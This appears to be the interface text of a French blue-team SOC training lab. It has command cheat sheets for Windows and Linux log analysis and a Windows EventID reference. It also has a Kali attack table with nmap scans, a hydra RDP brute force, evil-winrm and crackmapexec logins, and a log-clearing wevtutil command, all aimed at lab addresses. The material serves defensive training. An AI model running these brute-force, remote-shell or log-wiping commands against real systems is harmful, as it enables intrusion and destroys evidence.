SOC Lab — Mode Exercice

 ███████╗ ██████╗  ██████╗    ██╗      █████╗ ██████╗
 ██╔════╝██╔═══██╗██╔════╝    ██║     ██╔══██╗██╔══██╗
 ███████╗██║   ██║██║         ██║     ███████║██████╔╝
 ╚════██║██║   ██║██║         ██║     ██╔══██║██╔══██╗
 ███████║╚██████╔╝╚██████╗    ███████╗██║  ██║██████╔╝
 ╚══════╝ ╚═════╝  ╚═════╝    ╚══════╝╚═╝  ╚═╝╚═════╝
          MODE EXERCICE — BLUE TEAM TRAINING WICE

Missions

💀 Kali 192.168.1.10

🪟 Windows 192.168.1.20

🐧 SIEM Linux 192.168.1.30

Étape 1 / 1

┌──(root㉿kali)-[~]
└─#

🪟 PowerShell — Journaux Windows

Commande	Description
Get-WinEvent -LogName Security -MaxEvents 10	10 derniers événements Security
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625}	Filtrer par EventID 4625
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4648}	Mouvement latéral explicite
Get-WinEvent -FilterHashtable @{LogName='System'; Id=4697}	Services installés
Get-WinEvent -FilterHashtable @{LogName='System'; Id=104}	Journaux effacés
Get-EventLog -LogName Security -Newest 10	Méthode legacy
wevtutil cl Security	Effacer journal Security

🐧 Linux — Auth & Journaux

Commande	Description
grep "Failed password" /var/log/auth.log \| tail -n 20	20 derniers échecs SSH
tail -f /var/log/syslog	Suivre syslog en temps réel
journalctl --since "2026-06-10 14:00:00"	Logs depuis heure précise
cat /var/log/auth.log \| grep "sudo"	Commandes sudo exécutées
grep "Accepted" /var/log/auth.log	Connexions SSH réussies
cat eve.json \| jq '.'	Analyser alertes Suricata
grep " 401 " /var/log/apache2/access.log	Accès refusés Apache

💀 Kali — Attaque & Reconnaissance

Commande	Description
nmap -sV 192.168.1.20	Scan services cible Windows
nmap -p 3389,5985,445 192.168.1.20	Scan ports RDP/WinRM/SMB
hydra -l Administrator -P rockyou.txt rdp://192.168.1.20	Brute force RDP
evil-winrm -i 192.168.1.20 -u Administrator -p Pass123	Shell WinRM
crackmapexec smb 192.168.1.20 -u admin -p Pass123	Auth SMB
Invoke-Command -ComputerName 192.168.1.21 -Credential $c	WinRM latéral (PS)

📋 Référentiel EventID Windows

EventID	Signification & Alerte
4625	Échec connexion — brute force si répété
4624	Connexion réussie — suspect si LogonType 10 (RDP)
4688	Processus créé — surveiller cmd.exe, powershell
104	Journal effacé — CRITIQUE, destruction de preuves
4648	Logon credentials explicites — déplacement latéral
4697	Service installé — persistance si chemin Temp

📋 Brief de mission

Sélectionne une mission pour commencer